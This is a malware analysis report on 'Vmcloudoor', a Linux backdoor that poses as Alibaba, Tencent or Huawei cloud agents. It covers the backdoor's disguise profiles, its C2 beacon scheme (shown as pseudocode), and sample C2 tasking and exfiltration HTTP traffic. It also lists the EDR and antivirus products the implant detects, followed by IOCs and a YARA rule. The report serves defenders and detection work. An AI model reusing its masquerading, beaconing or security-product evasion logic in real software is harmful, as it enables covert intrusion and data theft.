Vmcloudoor

Context

During a hunting session we discovered a very peculiar Linux implant: a particularly precise implant designed to hide itself and infect VMs hosted on the Chinese cloud. More specifically, the targeted environments are Alibaba (mainly), Tencent and Huawei.

Vmcloudoor

We only have the helper module of this backdoor, which nevertheless reveals its main features. A second module, named "Core", exists and is meant to execute commands retrieved from the C2.

Concealment

The first thing the malware tries to do is determine the environment it is running in. It tests 3 groups of paths, and falls back on a check of the running processes if the paths are not enough:

  • For Alibaba: /usr/local/aegis, /usr/local/share/aliyun-assist and /usr/sbin/aliyun-service, then it checks for the processes aliyun-service, AssistDaemon, AliYunDun and AliYunDunUpdate
  • For Tencent: /usr/local/qcloud, /usr/local/tat_agent and /usr/local/sa, then it checks for the processes tat_agent, barad_agent, ydservice and sgagent
  • For Huawei: /usr/local/huawei, /usr/local/uniagent and /usr/local/telescope, then it checks for the processes telescope, cesagent, uniagent and hostguard

Based on these tests, the backdoor selects one of 4 concealment profiles depending on where it finds itself:

  • For Alibaba: it uses the working directory /usr/local/share/aliyun-sys-assist/ and the process name AliyunSysAssist
  • For Tencent: it uses the working directory /usr/local/qcloud/YunJingSysAssist/ and the process name YunJingSysAssist, or rather YunJingSysAssis, since it is truncated to 15 characters
  • For Huawei: it uses the working directory /usr/local/huawei/uniagent-sys/ and the process name UniAgentSys
  • If none of these cases applies: it uses the working directory /dev/shm/.ov2/ and the process name kworker/0:2H

The current process is then renamed (if its real name is longer than the selected one) with the name matching the profile, for example YunJingSysAssist for Tencent, thus blending in with the processes of the targeted cloud environment and making an administrator less inclined to kill it.

Right after this, a lock file is created to prevent several implants from running concurrently: the file <workdir>/.helper.lock is created in the implant's working directory.

Several configuration items are read from a configuration file located in <workdir>/.cfg, then in /usr/local/share/aliyun-sys-assist/.cfg, then from the environment variables OSS_V2_URL_KEY, OSS_V2_BUCKET, OSS_V2_ENDPOINT and OSS_V2_GITEE_URL. They define the static configuration items tied to the compromised machine. Only one value is mandatory, url_key, without which the hashes cannot be computed; if it is missing, the program exits.

Reaching the C2

If none of the .cfg files is present, the malware first looks for the information in the environment variables (such as OSS_V2_GITEE_URL) for those that are set, and completes it with the cache file <workdir>/.epcache, then with the bucket/endpoint pair from the configuration, and finally, if none of this data is available, it fetches it from https://gitee[.]com/watch_dog_auth/plus/raw/master/config, which contains the following data:

bucket=top-sec
endpoint=oss-cn-beijing.aliyuncs.com

It is worth noting that certificates are never verified for any of the HTTPS communications.

The endpoint points to Alibaba Cloud in Beijing and the bucket is top-sec. The malware will therefore try to communicate with this instance by building specific requests based on a fingerprint of the machine. This fingerprint relies on several elements: the machine-id, located in /etc/machine-id or /var/lib/dbus/machine-id, then the MAC address of the most plausible interface. To do so, it lists the interfaces in /sys/class/net and reads the /address of each one, giving priority to those named eth/ens/enp.

From the machine ID and the selected MAC address, the malware generates an agent ID, which is an MD5 of the concatenation of both identifiers.

The beacon to the C2 is more elaborate than most of the beaconing systems we have come across: it is built with a time constraint, namely 1 timestamp per 5-minute window. The problem with this approach is the clock drift between an infected machine and international time. To avoid it, a synchronisation is performed with a HEAD request to https://www.aliyun.com, which returns the Date field and thus the current time with acceptable accuracy. Then, if this time differs by more than 60 seconds from the local time, the local clock is reset and propagated to the hardware clock with the command: hwclock -w --utc >/dev/null 2>&1 || hwclock --systohc --utc >/dev/null 2>&1 || true.

The beacon request is built as follows:

ts = "%llx" % (time / 300)
h   = md5_hex(url_key + "|" + agent_id + "|" + ts)
key = "t/" + agent_id[0:8] + "/" + ts + "/" + h[0:16]
URL = https://top-sec.oss-cn-beijing.aliyuncs.com:443/<key>?h=<agent_id 32 hex>

A hash is thus generated from the url_key (specific to the infection), the agent_id (specific to the machine) and the time at which the request is made. Only part of the agent_id and of the hash is used to build the base of the URL, but the full agent_id is passed as a parameter, so there is some redundancy. This redundancy is explained by the fact that the attacker may know neither the machine ID nor the MAC address used (which make up the agent_id), but necessarily knows the url_key, since they set it. Without the full agent_id they could not recompute the hash. This redundancy therefore acts as an "authentication" for the malware. On each polling round, 3 timestamps are requested: the current one, -1 and +1 (hence a 15-minute window in the end).

By default this object does not exist, so the server returns a 404. We assume the attacker monitors the logs to spot new infections, which would justify passing the agent_id as a parameter. The attacker can then place a task in their Alibaba bucket that is specific to the target and limited in time. At that point a 200 response is returned, with a specific data structure.

A small subtlety: if the bucket has been closed, a NoSuchBucket response is returned and the malware goes back to Gitee to fetch the updated bucket.

Features

The backdoor offers several capabilities that we describe here. Overall, the type field of the response defines the action to perform:

  • type=1: command execution
  • type=2: file push
  • type=3: file exfiltration
  • type=8: sets the status to "idle", with 1 request every 5 minutes
  • type=9: machine inventory

For example, below is a response requesting a machine inventory:

HTTP/1.1 200 OK
Server: AliyunOSS
Date: Thu, 15 Jan 2026 10:00:00 GMT
x-oss-request-id: 6968BAA0C0FFEE0123456789
Content-Type: text/plain
ETag: "F30D99E0D5297A21723C3C8145B9FE49"
Content-Length: 196
Connection: close

task_id=inv-0001
type=9
result_url=https://top-sec.oss-cn-beijing.aliyuncs.com/r/inv-0001?OSSAccessKeyId=LTAI5tEXAMPLExxxxxxxxxxx&Expires=1768474800&Signature=ZXhhbXBsZS1zaWduYXR1cmU%3D&m=PUT
END

Each response contains a task_id that identifies the request, the type (described just above) and a result_url giving the URL where the data must be sent back. Note that the data is sent back using the PUT method. In this specific case, the reply has the following format:

PUT /r/inv-0001?OSSAccessKeyId=LTAI5tEXAMPLExxxxxxxxxxx&Expires=1768474800&Signature=ZXhhbXBsZS1zaWduYXR1cmU%3D&m=PUT HTTP/1.1
Host: top-sec.oss-cn-beijing.aliyuncs.com
User-Agent: AliyunSysAssist/1.0
Content-Type: application/octet-stream
Content-Length: 265
Connection: close


v=1
kind=inventory
fp=c9fb3d8b8579d8745cbe3ea4c3447687
hostname=toto-Virtual-Machine
username=root
os_version=Ubuntu 20.04.4 LTS
kernel_version=5.4.0-216-generic
arch=x86_64
cpu_cores=4
memory=8589934592
internal_ip=
security_env=clean
sec_hit=none
idle_sec=10
END

Here we have the result of the inventory performed on the machine. Two specific fields deserve a closer look: security_env and sec_hit.

Three results are possible, checked in this order: EDR (level 2), then AV (1), otherwise clean (0). The first indicator found is reported in sec_hit. The idle_sec value is set according to the machine's monitoring level: 10 s for clean, 120 s for av and 300 s for edr. The detection indicators are the following:

  • for EDRs, the paths: /etc/elkeid, /opt/Elkeid, /opt/CrowdStrike and /opt/sentinelone
  • for EDRs, the process names: csfalconservice, falcon-sensor, cbdaemon, sentinelone, ds_agent, amsp, xagt, taniumclient, sfavsvc, elkeid-agent and elkeid
  • for EDRs, the presence in the cmdline of: elkeid, csfalcon, falcon-sensor, carbonblack, cbdaemon, sentinelone, s1-agent, ds_agent, amsp, cylance, xagt, tanium, qualys-cloud-agent, sfavsvc and sangfor
  • for AVs, the paths: /opt/sophos-av and /usr/local/qcloud/YunJing
  • for AVs, the process names: savd, sophos, HipsDaemon, HipsMain, HipsTray, ZhuDongFangYu, wsctrlsvc, sysdiag, qaxtray, qaxsafe, alihips, AliHips, ydservice, YDService and heyeAgent
  • for AVs, the presence in the cmdline of: sophos, savd, HipsDaemon, HipsMain, HipsTray, ZhuDongFangYu, wsctrlsvc, sysdiag, qaxtray, qaxsafe, 360sd, 360safe, alihips, AliHips, /alihips, ydservice, YDService, /usr/local/qcloud/YunJing/ and heyeAgent.

Security products are therefore well covered, and the behaviour adapts to the depth of visibility they can provide (AV or EDR). Note that idle_sec is only a recommendation reported to the operator, not something the implant enforces directly.

One of the key types is type 1, which allows command execution. Commands are forwarded to a service, hpgoc2.oss.v2.core, which listens locally and takes care of running the code in a separate process.

Finally, types 2 and 3 deal with files. Type 2 is used to receive a file to be stored on the machine: a file name is given in path, a download URL in file_url along with a size; the file is downloaded into a temporary file and then renamed. Type 3 works the same way as type 2, but this time the file is uploaded with a PUT request to the address specified in file_url. These operations are bounded and checked to avoid abuse, mainly by requiring an absolute path and a file smaller than 100 MB. The same control system is also used to validate command executions (Core component).

Core component

This component is supposed to be a separate module, but the code is actually present in the binary, which allows us to outline it. This instance is passive on the machine and its sole purpose is to execute the commands sent by the attacker. It listens on the hpgoc2.oss.v2.core socket but never calls accept, which suggests code imported from a larger library.

A second function, however, is in charge of dispatching incoming commands; it is also present but not used by the rest of the program. For command execution, it refuses many binaries, such as ssh/top/python/ruby/tcpdump/nmap/netcat/ltrace/etc., as well as shells and recursive commands such as grep -r/find / /rm -rf //etc. These safeguards seem intended to prevent the binary from hanging on an action or from impacting the stability or performance of the system.

For command execution, a shared memory object named ov2-out is created, with a possible fallback to a pipe or to a temporary file named .ov2_%08x_XXXXXX placed in an available location, for example /dev/shm//var/lib/irqbalance///var/lib/chrony//etc. Once selected, the command is executed and killed if it runs for more than 30 s.

A bit of CTI

Several things are interesting. First, all communications go through public infrastructure and are therefore not blocked. The implant targets Chinese cloud infrastructure and also relies on Chinese infrastructure to communicate.

The Chinese GitHub, gitee, is used with a "throwaway" account that is probably meant to be destroyed if operational needs require it. As you can see, only one project exists, plus, the project used by the backdoor.

gitee_project

Looking at the commit history on Gitee, we can see that the project was created by a user, test9527, which is also a "throwaway" account. From here we can observe two main fails from the attacker:

$ git log
commit 1ece4e3d3ed6ea86d781dbebfd2799c610cc9fa8 (HEAD -> master, origin/master, origin/HEAD)
Author: hpgoc2-deploy <deploy@hpgoc2.local>
Date:   Wed Oct 14 21:13:14 2026 +0800

    oss endpoint: top-sec -> assist-logs (ADR 0018 migration rescue)

commit 3df7b562873db8698401e20967b22148f70388f4
Author: thor8848 <67045073+thor8848@users.noreply.github.com>
Date:   Tue Jul 21 18:17:18 2026 +0800

    init

commit fe4808bc8ab3fc0ad88e0c377d3840dad7049f25
Author: test9527 <17361443+watch_dog_auth@user.noreply.gitee.com>
Date:   Tue Jul 21 10:07:55 2026 +0000

    Initial commit

The initial commit was pushed by a dedicated user, but the next two were pushed by two other users, probably because of poorly controlled local Git identities. The third push was made by hpgoc2-deploy, with the email deploy@hpgoc2.local, and therefore potentially from a company (or project) using the internal domain name "hpgoc2.local". The second push reveals the user thor8848, linked to GitHub, an account created in 2020 by a Chinese user who appears to be involved in pentesting activities. The consistency of this account suggests an OPSEC fail rather than a deliberate attempt to plant false information.

github_thor8848

The ADR 0018 comment, ADR standing for Architecture Decision Records, also points to a structured development of the application, with possibly 18 decisions already documented.

Another interesting point is the recent bucket change, from top-sec to assist-logs on the oss-accelerate.aliyuncs.com infrastructure.

An evolution of the backdoor has been identified, 5f733bbe1cd7781cf1f73e1d31c94f181fece0443f6df6dcc62283b87e46f620, sharing 88% of its code with the first sample. The changes are fairly minor and mainly concern the C2 polling cycles and timeout values.

Conclusion

This is quite an interesting backdoor, as it specifically targets Chinese cloud environments, tries to hide itself and establishes its C2 communications with other instances of the Chinese environment. Digging a little deeper, we assume the author is a Chinese pentester, potentially running dedicated red team engagements… or at least we hope so ^^

IOC

IOC type
top-sec.oss-cn-beijing.aliyuncs[.]com C2 domain
assist-logs.oss-accelerate.aliyuncs[.]com C2 domain
hxxps://gitee[.]com/watch_dog_auth/plus Redirector URL
/dev/shm/.ov2/ path
0e1bd634d5fc8f4df1c91f0072a4556eb11f41ecc95b05f5a2ffb0e0b914613d Backdoor sha256
5f733bbe1cd7781cf1f73e1d31c94f181fece0443f6df6dcc62283b87e46f620 Backdoor sha256

YARA rule:

rule vmcloudoor
{
    meta:
        author = "Heurs"
        description = "vmcloudoor / oss_v2 helper: Linux x64 backdoor posing as Aliyun/Tencent/Huawei host agent"
        sample_hash = "0e1bd634d5fc8f4df1c91f0072a4556eb11f41ecc95b05f5a2ffb0e0b914613d"
        date = "2026-10-30"
        source =  "Exatrack"
        tlp =  "CLEAR"
    strings:
        $ns1  = "N6oss_v213OssPullSourceE" ascii
        $ns2  = "N6oss_v216HttpGiteeFetcherE" ascii
        $core = "hpgoc2.oss.v2.core" ascii
        $memfd = "ov2-out" ascii
        $tmp1 = "%s.ov2_%s_XXXXXX" ascii
        $tmp2 = "%s.ov2_%d_%s_XXXXXX" ascii
        $s802 = "unsupported task type in S8-02" ascii
        $gitee = "https://gitee.com/watch_dog_auth/plus/raw/master/config" ascii
        $ua   = "AliyunSysAssist/1.0" ascii
        $p1   = "YunJingSysAssist" ascii
        $p2   = "UniAgentSys" ascii
        $p3   = "kworker/0:2H" ascii
        $shm  = "/dev/shm/.ov2/" ascii
    condition:
        uint32(0) == 0x464c457f and filesize < 3MB and
        ( ($ns1 and $ns2) or $s802 or ($core and $gitee) ) and
        4 of them
}